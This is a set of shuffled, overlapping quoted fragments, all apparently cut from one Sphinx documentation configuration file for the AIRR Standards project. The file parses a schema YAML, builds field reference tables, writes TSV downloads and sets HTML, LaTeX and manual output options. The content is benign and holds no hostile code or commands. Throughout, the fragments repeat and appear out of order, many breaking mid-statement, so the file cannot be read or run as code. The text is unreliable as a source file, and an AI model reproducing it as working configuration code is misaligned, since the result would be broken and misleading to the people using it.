"extrasaction='ignore') writer.writeheader() for spec in tables: for r in data_elements[spec]: if r['Level'] and",
"directory set to its # containing dir. # # Note that not all",
"Options for LaTeX output --------------------------------------------- latex_elements = { # The paper size ('letterpaper'",
"as ip: airr_schema = yaml.load(ip, Loader=yamlordereddictloader.Loader) html_context = {'airr_schema': airr_schema} # Iterate over",
"] # -- Build schema reference tables ---------------------------------------- # Function to chop down",
"<OntoVoc>`' elif attr.get('$ref') is not None: sn = attr.get('$ref').split('/')[-1] data_type = ':ref:`%s <%sFields>`'",
"menu entry, description, category) texinfo_documents = [ (master_doc, 'airr-standards', 'airr-standards Documentation', author, 'airr-standards',",
"information about the project. project = 'AIRR Standards' copyright = '2017-2021, AIRR Community'",
"in xairr: if xairr['format'] == 'ontology' and 'ontology' in xairr: base_dic = xairr['ontology']",
"2017. # # This file is execfile()d with the current directory set to",
"% 'AIRR_Minimal_Standard_Data_Elements'), 'w') as f: writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() for",
"current directory set to its # containing dir. # # Note that not",
"directives in the same page, or else the build # # will break.",
"{'**': ['globaltoc.html']} # html_sidebars = {'**': ['globaltoc.html', 'sourcelink.html', 'searchbox.html']} # html_sidebars = {'**':",
"nothing (default) or the name of a valid theme # # such as",
"%s' % ', '.join(attr['enum']) elif attr.get('items', None) is not None: data_format = 'Controlled",
"html_context html_context[spec + '_schema'] = data_elements[spec] # -- Write download tables ------------------------------------------------ #",
"options # html_theme = \"pydata_sphinx_theme\" html_theme = \"sphinx_book_theme\" html_logo = \"_static/AIRR_logo-only.png\" # Bootstrap",
"'https://github.com/airr-community/airr-standards', True), # # ('AIRR-C', 'http://airr-community.org', True)], # # # Render the next",
"paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size",
"not in required else True title = attr.get('title', '') example = attr.get('example', '')",
"contain templates here, relative to this directory. templates_path = ['_templates'] # The master",
"# # # # Currently, the supported themes are: # # - Bootstrap",
"Bootstrap 2: https://bootswatch.com/2 # # - Bootstrap 3: https://bootswatch.com/3 # 'bootswatch_theme': 'spacelab', #",
"# # Options are \"nav\" (default), \"footer\" or anything else to exclude. #",
"built documents. # # The short X.Y version. version = str(airr_schema['Info']['version']) # The",
"open(os.path.join(download_path, '%s.tsv' % 'AIRR_Minimal_Standard_Data_Elements'), 'w') as f: writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore')",
"parsed rows of the spec table. \"\"\" data_type_map = {'string': 'free text', 'integer':",
"'MHCGenotype'] for spec in tables: with open(os.path.join(download_path, '%s.tsv' % spec), 'w') as f:",
"config option). # # # # Currently, the supported themes are: # #",
"] # -- Options for manual page output --------------------------------------- # One entry per",
"= False if required is None or prop not in required else True",
"+ '\\n') else: return (string) def parse_schema(spec, schema): \"\"\" Parse an AIRR schema",
"'Definition'] tables = ['Repertoire', 'Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData',",
"'sidebar_width': '300px', # 'extra_nav_links': {'AIRR Community': 'http://airr-community.org'}} # html_sidebars = {'**': ['about.html', #",
"to link to. # # Valid tuples should be in the following forms:",
"= data_elements.keys() miairr_schema = [] with open(os.path.join(download_path, '%s.tsv' % 'AIRR_Minimal_Standard_Data_Elements'), 'w') as f:",
"csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() writer.writerows(data_elements[spec]) # -- Site configuration from schema data",
"of the schema object schema (dict): master schema dictionary parsed from the yaml",
"Mock(MagicMock): @classmethod def __getattr__(cls, name): return MagicMock() mock_modules = ['numpy', 'pandas'] sys.modules.update((mod_name, Mock())",
"# HTML help htmlhelp_basename = 'airr-standardsdoc' # Alabaster options # html_theme = 'alabaster'",
"depend on the version of Bootstrap # # that's used (the next config",
"an AIRR schema object for doc tables Arguments: spec (str): name of the",
"schema[spec].get('required', None) # Iterate over properties table_rows = [] for prop, attr in",
"Add any paths that contain custom static files (such as style sheets) here,",
"next and previous page links in navbar. (Default: true) # 'navbar_sidebarrel': True, #",
"\"true\" (default) or \"false\" # 'globaltoc_includehidden': 'false', # # # HTML navbar class",
"['Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing'] # tables =",
"# -- Options for Texinfo output ------------------------------------------- # Grouping the document tree into",
"argument to indicate # # an arbitrary url. # # 'navbar_links': [('GitHub', 'https://github.com/airr-community/airr-standards',",
"# 'searchbox.html']} # PyData options # html_theme = \"pydata_sphinx_theme\" html_theme = \"sphinx_book_theme\" html_logo",
"xairr['format'] == 'ontology' and 'ontology' in xairr: base_dic = xairr['ontology'] ontology_format = (str(base_dic['top_node']['id']),",
"the builtin static files, # so a file named \"default.css\" will overwrite the",
"} # Grouping the document tree into LaTeX files. List of tuples #",
"set of valid themes depend on the version of Bootstrap # # that's",
"data_format = 'Controlled vocabulary: %s' % ', '.join(attr['items']['enum']) else: nullable = True deprecated",
"# This file is execfile()d with the current directory set to its #",
"= 'Controlled vocabulary: %s' % ', '.join(attr['enum']) elif attr.get('items', None) is not None:",
"List of tuples # (source start file, target name, title, # author, documentclass",
"in the navbar. (Default: true) # 'navbar_pagenav': True, # # # Tab name",
"link to source. # # Options are \"nav\" (default), \"footer\" or anything else",
"os.mkdir(download_path) # Write MiAIRR TSV fields = ['Set', 'Subset', 'Designation', 'Field', 'Type', 'Format',",
"str(base_dic['top_node']['label']) ) # Replace name with url-linked name data_format = 'Ontology: { top_node:",
"current pages TOC. (Default: \"Page\") # 'navbar_pagenav_name': 'Page', # # # Global TOC",
"'RawSequenceData', 'DataProcessing', 'Rearrangement', 'Alignment', 'Clone', 'Tree', 'Node', 'Cell', 'RearrangedSequence', 'UnrearrangedSequence', 'SequenceDelineationV', 'AlleleDescription', 'GermlineSet',",
"Iterate over properties table_rows = [] for prop, attr in properties.items(): # Standard",
"line description of project.', 'Miscellaneous'), ] # -- Build schema reference tables ----------------------------------------",
"size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt',",
"document. master_doc = 'index' # General information about the project. project = 'AIRR",
"attr.get('example', '') description = attr.get('description', '') # Data type data_type = attr.get('type', '')",
"# containing dir. # # Note that not all possible configuration values are",
"Fri Nov 17 14:47:21 2017. # # This file is execfile()d with the",
"file. Returns: list: list of dictionaries with parsed rows of the spec table.",
"'Format': data_format, 'Definition': description, 'Example': example, 'Level': miairr_level, 'Required': required_field, 'Deprecated': deprecated, 'Nullable':",
"# html_theme = 'alabaster' # html_theme_options = {'github_user': 'airr-community', # 'github_repo': 'airr-standards', #",
"app.add_stylesheet('submenus.css') # app.add_stylesheet(\"overrides.css\") rst_prolog =''' .. |br| raw:: html <br /> ''' #",
"file named \"default.css\" will overwrite the builtin \"default.css\". html_static_path = ['_static'] # HTML",
"figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree",
"# dir menu entry, description, category) texinfo_documents = [ (master_doc, 'airr-standards', 'airr-standards Documentation',",
"miairr_set = '' miairr_subset = '' if deprecated: field_attributes = 'DEPRECATED' else: f",
"'' miairr_subset = '' if deprecated: field_attributes = 'DEPRECATED' else: f = ['required'",
"sphinx_bootstrap_theme.get_html_theme_path() # html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']} # html_sidebars = {'**': ['globaltoc.html']} #",
"or prop not in required else True title = attr.get('title', '') example =",
"`todoList` produce output, else they produce nothing. todo_include_todos = False # -- Options",
"rows of the spec table. \"\"\" data_type_map = {'string': 'free text', 'integer': 'positive",
"---------------------------------------------------------------- import csv import os import sys import yaml import yamlordereddictloader from unittest.mock",
"as replacement for # |version| and |release|, also used in various other places",
"False if required is None or prop not in required else True title",
"Python system path sys.path.append(os.path.abspath('.')) # Mock modules for ReadTheDocs if os.environ.get('READTHEDOCS', None) ==",
"import csv import os import sys import yaml import yamlordereddictloader from unittest.mock import",
"= miairr_schema # Write individual spec TSVs fields = ['Name', 'Type', 'Attributes', 'Definition']",
"miairr_level, 'Required': required_field, 'Deprecated': deprecated, 'Nullable': nullable, 'Identifier': identifier, 'Attributes': field_attributes} table_rows.append(r) return(table_rows)",
"link to a page # # (name, \"/aa/bb\", 1) # a link to",
"# -- Options for manual page output --------------------------------------- # One entry per manual",
"manual page. List of tuples # (source start file, name, description, authors, manual",
"deprecated, 'Nullable': nullable, 'Identifier': identifier, 'Attributes': field_attributes} table_rows.append(r) return(table_rows) # Load data for",
"import MagicMock # -- Python environment ---------------------------------------------------- # Python system path sys.path.append(os.path.abspath('.')) #",
"'globaltoc.html']} # html_sidebars = {'**': ['globaltoc.html']} # html_sidebars = {'**': ['globaltoc.html', 'sourcelink.html', 'searchbox.html']}",
"# author, documentclass [howto, manual, or own class]). latex_documents = [ (master_doc, 'airr-standards.tex',",
"title, 'Field': prop, 'Type': data_type, 'Format': data_format, 'Definition': description, 'Example': example, 'Level': miairr_level,",
"\"_static/AIRR_logo-only.png\" # Bootstrap options # html_theme = 'bootstrap' # html_theme_path = sphinx_bootstrap_theme.get_html_theme_path() #",
"``toctree`` directives in the same page, or else the build # # will",
"miairr_subset = '' if deprecated: field_attributes = 'DEPRECATED' else: f = ['required' if",
"are in another directory, # add these directories to sys.path here. If the",
"spec), 'w') as f: writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() writer.writerows(data_elements[spec]) #",
"', '.join(attr['items']['enum']) else: nullable = True deprecated = False identifier = False miairr_level",
"Navigation bar title. (Default: ``project`` value) # 'navbar_title': 'AIRR Community Standards', # #",
"such as \"cosmo\" or \"sandstone\". # # # # The set of valid",
"configuration ------------------------------------------------ # Setup # def setup(app): # # Can also be a",
"here, # relative to this directory. They are copied after the builtin static",
"-- Python environment ---------------------------------------------------- # Python system path sys.path.append(os.path.abspath('.')) # Mock modules for",
"in various other places throughout the # built documents. # # The short",
"that contain templates here, relative to this directory. templates_path = ['_templates'] # The",
"anything else to exclude. # 'source_link_position': 'none', # # # Bootswatch (http://bootswatch.com/) theme.",
"f = ['required' if required_field else 'optional', 'identifier' if identifier else '', 'nullable'",
"# -- Python environment ---------------------------------------------------- # Python system path sys.path.append(os.path.abspath('.')) # Mock modules",
"<%sFields>`' % (sn, sn) elif attr['items'].get('type') is not None: data_type = 'array of",
"---------------------------------------------------- # Python system path sys.path.append(os.path.abspath('.')) # Mock modules for ReadTheDocs if os.environ.get('READTHEDOCS',",
"properties table_rows = [] for prop, attr in properties.items(): # Standard attributes required_field",
"you cannot have mixed ``:hidden:`` and # # non-hidden ``toctree`` directives in the",
"'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing', 'Rearrangement', 'Alignment', 'Clone', 'Tree', 'Node', 'Cell',",
"tree into Texinfo files. List of tuples # (source start file, target name,",
"miairr_level = '' miairr_set = '' miairr_subset = '' if deprecated: field_attributes =",
"to attach to <div> element. # # For black navbar, do \"navbar navbar-inverse\"",
"') if len(x) > 25]: parts = [string[i:i + str_length].strip() for i in",
"doc html_context html_context[spec + '_schema'] = data_elements[spec] # -- Write download tables ------------------------------------------------",
"(Default: \"navbar\") to attach to <div> element. # # For black navbar, do",
"download tables ------------------------------------------------ # Write download spec files download_path = '_downloads' if not",
"deprecated: field_attributes = 'DEPRECATED' else: f = ['required' if required_field else 'optional', 'identifier'",
"r = {'Name': prop, 'Set': miairr_set, 'Subset': miairr_subset, 'Designation': title, 'Field': prop, 'Type':",
"project you're documenting, acts as replacement for # |version| and |release|, also used",
"# Options are nothing (default) or the name of a valid theme #",
"'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing', 'Rearrangement', 'Alignment', 'Clone', 'Tree', 'Node', 'Cell', 'RearrangedSequence', 'UnrearrangedSequence',",
"build # # will break. # # # # Values: \"true\" (default) or",
"the document tree into Texinfo files. List of tuples # (source start file,",
"data_type = ':ref:`%s <%sFields>`' % (sn, sn) # x-airr attributes if 'x-airr' in",
"paths that contain templates here, relative to this directory. templates_path = ['_templates'] #",
"------------------------------------------------ # Setup # def setup(app): # # Can also be a full",
"of patterns, relative to source directory, that match files and # directories to",
"str_length)] return ('\\n'.join(parts) + '\\n') else: return (string) def parse_schema(spec, schema): \"\"\" Parse",
"'.join(attr['enum']) elif attr.get('items', None) is not None: data_format = 'Controlled vocabulary: %s' %",
"Note the \"1\" or \"True\" value above as the third argument to indicate",
"def setup(app): # # Can also be a full URL # app.add_stylesheet('submenus.css') #",
"data_elements[spec] = parse_schema(spec, airr_schema) # Update doc html_context html_context[spec + '_schema'] = data_elements[spec]",
"forms: # # (name, page) # a link to a page # #",
"% attr['items']['type'] elif attr.get('$ref') == '#/Ontology': data_type = ':ref:`Ontology <OntoVoc>`' elif attr.get('$ref') is",
"Minimal Sphinx version needs_sphinx = '1.6' # Sphinx extension modules extensions = ['sphinx.ext.autodoc',",
"# Currently, the supported themes are: # # - Bootstrap 2: https://bootswatch.com/2 #",
"[ (master_doc, 'airr-standards.tex', 'airr-standards Documentation', 'AIRR Community', 'manual'), ] # -- Options for",
"'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt',",
"= [string[i:i + str_length].strip() for i in range(0, len(string), str_length)] return ('\\n'.join(parts) +",
"# # The short X.Y version. version = str(airr_schema['Info']['version']) # The full version,",
"of a valid theme # # such as \"cosmo\" or \"sandstone\". # #",
"tables ---------------------------------------- # Function to chop down long strings of the table def",
"(Default: \"Site\") # 'navbar_site_name': 'Contents', # # # A list of tuples containing",
"# Add any paths that contain templates here, relative to this directory. templates_path",
"class]). latex_documents = [ (master_doc, 'airr-standards.tex', 'airr-standards Documentation', 'AIRR Community', 'manual'), ] #",
"the navbar. (Default: true) # 'navbar_pagenav': True, # # # Tab name for",
"acts as replacement for # |version| and |release|, also used in various other",
"you're documenting, acts as replacement for # |version| and |release|, also used in",
"'Example': example, 'Level': miairr_level, 'Required': required_field, 'Deprecated': deprecated, 'Nullable': nullable, 'Identifier': identifier, 'Attributes':",
"the build # # will break. # # # # Values: \"true\" (default)",
"builtin static files, # so a file named \"default.css\" will overwrite the builtin",
"in properties.items(): # Standard attributes required_field = False if required is None or",
"= schema[spec]['properties'] required = schema[spec].get('required', None) # Iterate over properties table_rows = []",
"# # HTML navbar class (Default: \"navbar\") to attach to <div> element. #",
"name for entire site. (Default: \"Site\") # 'navbar_site_name': 'Contents', # # # A",
"an arbitrary url. # # 'navbar_links': [('GitHub', 'https://github.com/airr-community/airr-standards', True), # # ('AIRR-C', 'http://airr-community.org',",
"is execfile()d with the current directory set to its # containing dir. #",
"'') example = attr.get('example', '') description = attr.get('description', '') # Data type data_type",
"'navigation.html', # 'searchbox.html']} # PyData options # html_theme = \"pydata_sphinx_theme\" html_theme = \"sphinx_book_theme\"",
"supported themes are: # # - Bootstrap 2: https://bootswatch.com/2 # # - Bootstrap",
"of link to source. # # Options are \"nav\" (default), \"footer\" or anything",
"= attr.get('example', '') description = attr.get('description', '') # Data type data_type = attr.get('type',",
"elif attr.get('items', None) is not None: data_format = 'Controlled vocabulary: %s' % ',",
"'airr-standards Documentation', author, 'airr-standards', 'One line description of project.', 'Miscellaneous'), ] # --",
"# 'globaltoc_depth': 1, # # # Include hidden TOCs in Site navbar? #",
"import yamlordereddictloader from unittest.mock import MagicMock # -- Python environment ---------------------------------------------------- # Python",
"# Values: \"true\" (default) or \"false\" # 'globaltoc_includehidden': 'false', # # # HTML",
"that's used (the next config option). # # # # Currently, the supported",
"'Nullable': nullable, 'Identifier': identifier, 'Attributes': field_attributes} table_rows.append(r) return(table_rows) # Load data for schemas",
"'Subset', 'Designation', 'Field', 'Type', 'Format', 'Level', 'Definition', 'Example'] tables = ['Study', 'Subject', 'Diagnosis',",
"Options are nothing (default) or the name of a valid theme # #",
"# x-airr attributes if 'x-airr' in attr: xairr = attr['x-airr'] nullable = xairr.get('nullable',",
"# arbitrary absolute url # # Note the \"1\" or \"True\" value above",
"sys.path.append(os.path.abspath('.')) # Mock modules for ReadTheDocs if os.environ.get('READTHEDOCS', None) == 'True': class Mock(MagicMock):",
"xairr = attr['x-airr'] nullable = xairr.get('nullable', True) deprecated = xairr.get('deprecated', False) identifier =",
"the project you're documenting, acts as replacement for # |version| and |release|, also",
"base_dic = xairr['ontology'] ontology_format = (str(base_dic['top_node']['id']), str(base_dic['top_node']['label']) ) # Replace name with url-linked",
"'rstjinjaext'] # Define source file extensions source_suffix = ['.rst'] # List of patterns,",
"# html_theme_options = {'github_user': 'airr-community', # 'github_repo': 'airr-standards', # 'github_button': True, # 'sidebar_includehidden':",
"'github_button': True, # 'sidebar_includehidden': True, # 'sidebar_width': '300px', # 'extra_nav_links': {'AIRR Community': 'http://airr-community.org'}}",
"[string[i:i + str_length].strip() for i in range(0, len(string), str_length)] return ('\\n'.join(parts) + '\\n')",
"options # html_theme = 'bootstrap' # html_theme_path = sphinx_bootstrap_theme.get_html_theme_path() # html_sidebars = {'**':",
"url # # (name, \"http://example.com\", True) # arbitrary absolute url # # Note",
"'Page', # # # Global TOC depth for \"site\" navbar tab. (Default: 1)",
"None) == 'True': class Mock(MagicMock): @classmethod def __getattr__(cls, name): return MagicMock() mock_modules =",
"title. (Default: ``project`` value) # 'navbar_title': 'AIRR Community Standards', # # # Tab",
"nullable = xairr.get('nullable', True) deprecated = xairr.get('deprecated', False) identifier = xairr.get('identifier', False) #",
"data_type = 'array of %s' % attr['items']['type'] elif attr.get('$ref') == '#/Ontology': data_type =",
"'', f)) # Return dictionary r = {'Name': prop, 'Set': miairr_set, 'Subset': miairr_subset,",
"# 'bootstrap_version': '2', # } # -- Options for LaTeX output --------------------------------------------- latex_elements",
"'extra_nav_links': {'AIRR Community': 'http://airr-community.org'}} # html_sidebars = {'**': ['about.html', # 'navigation.html', # 'searchbox.html']}",
"# 'sidebar_includehidden': True, # 'sidebar_width': '300px', # 'extra_nav_links': {'AIRR Community': 'http://airr-community.org'}} # html_sidebars",
"# Note that not all possible configuration values are present in this #",
"'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing'] # tables = data_elements.keys()",
"htmlhelp_basename = 'airr-standardsdoc' # Alabaster options # html_theme = 'alabaster' # html_theme_options =",
"'Field': prop, 'Type': data_type, 'Format': data_format, 'Definition': description, 'Example': example, 'Level': miairr_level, 'Required':",
"project.', 'Miscellaneous'), ] # -- Build schema reference tables ---------------------------------------- # Function to",
"'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing', 'Rearrangement', 'Alignment', 'Clone', 'Tree', 'Node', 'Cell', 'RearrangedSequence',",
"named \"default.css\" will overwrite the builtin \"default.css\". html_static_path = ['_static'] # HTML help",
"\"True\" value above as the third argument to indicate # # an arbitrary",
"'AIRR Community', 'manual'), ] # -- Options for manual page output --------------------------------------- #",
"3: https://bootswatch.com/3 # 'bootswatch_theme': 'spacelab', # # # Choose Bootstrap version. # #",
"False miairr_level = '' miairr_set = '' miairr_subset = '' if deprecated: field_attributes",
"directory. They are copied after the builtin static files, # so a file",
"themes depend on the version of Bootstrap # # that's used (the next",
"\"default.css\". html_static_path = ['_static'] # HTML help htmlhelp_basename = 'airr-standardsdoc' # Alabaster options",
"files (such as style sheets) here, # relative to this directory. They are",
"# # # # Options are nothing (default) or the name of a",
"Get 'type' for ontology example = 'id: %s, value: %s' % (example['id'], example['label'])",
"nullable = True deprecated = False identifier = False miairr_level = '' miairr_set",
"'vs' # If true, `todo` and `todoList` produce output, else they produce nothing.",
"static files (such as style sheets) here, # relative to this directory. They",
"- Bootstrap 3: https://bootswatch.com/3 # 'bootswatch_theme': 'spacelab', # # # Choose Bootstrap version.",
"Values: \"true\" (default) or \"false\" # 'navbar_fixed_top': 'true', # # # Location of",
"# 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', }",
"{'string': 'free text', 'integer': 'positive integer', 'number': 'positive number', 'boolean': 'true | false'}",
"os.environ.get('READTHEDOCS', None) == 'True': class Mock(MagicMock): @classmethod def __getattr__(cls, name): return MagicMock() mock_modules",
"# # # Options are nothing (default) or the name of a valid",
"['_build', 'Thumbs.db', '.DS_Store'] # Add any paths that contain templates here, relative to",
"# Replace name with url-linked name data_format = 'Ontology: { top_node: { id:",
"'%s.tsv' % spec), 'w') as f: writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader()",
"= ['Repertoire', 'Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing', 'Rearrangement',",
"of valid themes depend on the version of Bootstrap # # that's used",
"miairr_set, 'Subset': miairr_subset, 'Designation': title, 'Field': prop, 'Type': data_type, 'Format': data_format, 'Definition': description,",
"be a full URL # app.add_stylesheet('submenus.css') # app.add_stylesheet(\"overrides.css\") rst_prolog =''' .. |br| raw::",
"sphinx-quickstart on Fri Nov 17 14:47:21 2017. # # This file is execfile()d",
"'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # # 'pointsize':",
"schemas with open(os.path.abspath('../specs/airr-schema.yaml')) as ip: airr_schema = yaml.load(ip, Loader=yamlordereddictloader.Loader) html_context = {'airr_schema': airr_schema}",
"Fix navigation bar to top of page? # # Values: \"true\" (default) or",
"dictionaries with parsed rows of the spec table. \"\"\" data_type_map = {'string': 'free",
"# html_theme = \"pydata_sphinx_theme\" html_theme = \"sphinx_book_theme\" html_logo = \"_static/AIRR_logo-only.png\" # Bootstrap options",
"value: %s}}' % (ontology_format) # Get 'type' for ontology example = 'id: %s,",
"] # -- Options for Texinfo output ------------------------------------------- # Grouping the document tree",
"# a link to a page # # (name, \"/aa/bb\", 1) # a",
"file extensions source_suffix = ['.rst'] # List of patterns, relative to source directory,",
"source. # # Options are \"nav\" (default), \"footer\" or anything else to exclude.",
"None) # Iterate over properties table_rows = [] for prop, attr in properties.items():",
"Options are \"nav\" (default), \"footer\" or anything else to exclude. # 'source_link_position': 'none',",
"'Example'] tables = ['Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing']",
"if required is None or prop not in required else True title =",
"# html_sidebars = {'**': ['globaltoc.html']} # html_sidebars = {'**': ['globaltoc.html', 'sourcelink.html', 'searchbox.html']} #",
"should be in the following forms: # # (name, page) # a link",
"= 'vs' # If true, `todo` and `todoList` produce output, else they produce",
"links in navbar. (Default: true) # 'navbar_sidebarrel': True, # # # Render the",
"hidden TOCs in Site navbar? # # # # Note: If this is",
"'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '',",
"None) is not None: data_format = 'Controlled vocabulary: %s' % ', '.join(attr['items']['enum']) else:",
"'http://airr-community.org'}} # html_sidebars = {'**': ['about.html', # 'navigation.html', # 'searchbox.html']} # PyData options",
"field_attributes} table_rows.append(r) return(table_rows) # Load data for schemas with open(os.path.abspath('../specs/airr-schema.yaml')) as ip: airr_schema",
"# MiAIRR attributes miairr_level = xairr.get('miairr', '') miairr_set = xairr.get('set', '') miairr_subset =",
"'nullable' if nullable else ''] field_attributes = ', '.join(filter(lambda x: x != '',",
"wrap \"\"\" if [x for x in string.split(' ') if len(x) > 25]:",
"'searchbox.html']} # PyData options # html_theme = \"pydata_sphinx_theme\" html_theme = \"sphinx_book_theme\" html_logo =",
"# sphinx-quickstart on Fri Nov 17 14:47:21 2017. # # This file is",
"fields = ['Set', 'Subset', 'Designation', 'Field', 'Type', 'Format', 'Level', 'Definition', 'Example'] tables =",
"= ['numpy', 'pandas'] sys.modules.update((mod_name, Mock()) for mod_name in mock_modules) # -- General configuration",
"= csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() for spec in tables: for r in",
"used in various other places throughout the # built documents. # # The",
"True) # arbitrary absolute url # # Note the \"1\" or \"True\" value",
"with open(os.path.abspath('../specs/airr-schema.yaml')) as ip: airr_schema = yaml.load(ip, Loader=yamlordereddictloader.Loader) html_context = {'airr_schema': airr_schema} #",
"'') data_format = data_type_map.get(data_type, '') # Arrays if data_type == 'array': if attr['items'].get('$ref')",
"Community' author = 'AIRR Community' # The name of the Pygments (syntax highlighting)",
"xairr.get('identifier', False) # MiAIRR attributes miairr_level = xairr.get('miairr', '') miairr_set = xairr.get('set', '')",
"', '.join(filter(lambda x: x != '', f)) # Return dictionary r = {'Name':",
"# airr-standards documentation build configuration file, created by # sphinx-quickstart on Fri Nov",
"[ (master_doc, 'airr-standards', 'airr-standards Documentation', author, 'airr-standards', 'One line description of project.', 'Miscellaneous'),",
"# 'globaltoc_includehidden': 'false', # # # HTML navbar class (Default: \"navbar\") to attach",
"'airr-standardsdoc' # Alabaster options # html_theme = 'alabaster' # html_theme_options = {'github_user': 'airr-community',",
"if [x for x in string.split(' ') if len(x) > 25]: parts =",
"['Name', 'Type', 'Attributes', 'Definition'] tables = ['Repertoire', 'Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing',",
"# # # HTML navbar class (Default: \"navbar\") to attach to <div> element.",
"attr.get('title', '') example = attr.get('example', '') description = attr.get('description', '') # Data type",
"| false'} # Get schema properties = schema[spec]['properties'] required = schema[spec].get('required', None) #",
"are: # # - Bootstrap 2: https://bootswatch.com/2 # # - Bootstrap 3: https://bootswatch.com/3",
"# (source start file, target name, title, # author, documentclass [howto, manual, or",
"The short X.Y version. version = str(airr_schema['Info']['version']) # The full version, including alpha/beta/rc",
"top_node: { id: %s, value: %s}}' % (ontology_format) # Get 'type' for ontology",
"target name, title, # author, documentclass [howto, manual, or own class]). latex_documents =",
"= schema[spec].get('required', None) # Iterate over properties table_rows = [] for prop, attr",
"miairr_subset = xairr.get('subset', '') # Set data format for ontologies and controlled vocabularies",
"# def setup(app): # # Can also be a full URL # app.add_stylesheet('submenus.css')",
"places throughout the # built documents. # # The short X.Y version. version",
"False # -- Options for HTML output ------------------------------------------ # Add any paths that",
"'.join(filter(lambda x: x != '', f)) # Return dictionary r = {'Name': prop,",
"(Default: 1) # # Switching to -1 shows all levels. # 'globaltoc_depth': 1,",
"If the directory is relative to the # documentation root, use os.path.abspath to",
"# For black navbar, do \"navbar navbar-inverse\" # 'navbar_class': 'navbar', # # #",
"'none', # # # Bootswatch (http://bootswatch.com/) theme. # # # # Options are",
"`todo` and `todoList` produce output, else they produce nothing. todo_include_todos = False #",
"dir menu entry, description, category) texinfo_documents = [ (master_doc, 'airr-standards', 'airr-standards Documentation', author,",
"[howto, manual, or own class]). latex_documents = [ (master_doc, 'airr-standards.tex', 'airr-standards Documentation', 'AIRR",
"Arrays if data_type == 'array': if attr['items'].get('$ref') is not None: sn = attr['items'].get('$ref').split('/')[-1]",
"data_elements.keys() miairr_schema = [] with open(os.path.join(download_path, '%s.tsv' % 'AIRR_Minimal_Standard_Data_Elements'), 'w') as f: writer",
"use. highlight_language = 'bash' pygments_style = 'vs' # If true, `todo` and `todoList`",
"xairr['ontology'] ontology_format = (str(base_dic['top_node']['id']), str(base_dic['top_node']['label']) ) # Replace name with url-linked name data_format",
"example = 'id: %s, value: %s' % (example['id'], example['label']) elif xairr['format'] == 'controlled",
"tables = ['Repertoire', 'Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing',",
"[] for prop, attr in properties.items(): # Standard attributes required_field = False if",
"# Grouping the document tree into LaTeX files. List of tuples # (source",
"<%sFields>`' % (sn, sn) # x-airr attributes if 'x-airr' in attr: xairr =",
"= 'airr-standardsdoc' # Alabaster options # html_theme = 'alabaster' # html_theme_options = {'github_user':",
"# 'bootswatch_theme': 'spacelab', # # # Choose Bootstrap version. # # Values: \"3\"",
"Include hidden TOCs in Site navbar? # # # # Note: If this",
"not os.path.exists(download_path): os.mkdir(download_path) # Write MiAIRR TSV fields = ['Set', 'Subset', 'Designation', 'Field',",
"['.rst'] # List of patterns, relative to source directory, that match files and",
"(master_doc, 'airr-standards', 'airr-standards Documentation', [author], 1) ] # -- Options for Texinfo output",
"False) # MiAIRR attributes miairr_level = xairr.get('miairr', '') miairr_set = xairr.get('set', '') miairr_subset",
"the name of a valid theme # # such as \"cosmo\" or \"sandstone\".",
"= 'array of :ref:`%s <%sFields>`' % (sn, sn) elif attr['items'].get('type') is not None:",
"# # Render the current pages TOC in the navbar. (Default: true) #",
"{'airr_schema': airr_schema} # Iterate over schema and build reference tables data_elements = {}",
"# # # Tab name for the current pages TOC. (Default: \"Page\") #",
"in the same page, or else the build # # will break. #",
"'GermlineSet', 'GenotypeSet', 'Genotype', 'MHCGenotypeSet', 'MHCGenotype'] for spec in tables: with open(os.path.join(download_path, '%s.tsv' %",
"with autodoc) are in another directory, # add these directories to sys.path here.",
"top of page? # # Values: \"true\" (default) or \"false\" # 'navbar_fixed_top': 'true',",
"r in data_elements[spec]: if r['Level'] and not r['Deprecated']: miairr_schema.append(r) writer.writerow(r) html_context['MiAIRR_schema'] = miairr_schema",
"= '1.6' # Sphinx extension modules extensions = ['sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'sphinxcontrib.autoprogram', 'rstjinjaext'] #",
"as \"cosmo\" or \"sandstone\". # # # # The set of valid themes",
"= '2017-2021, AIRR Community' author = 'AIRR Community' # The name of the",
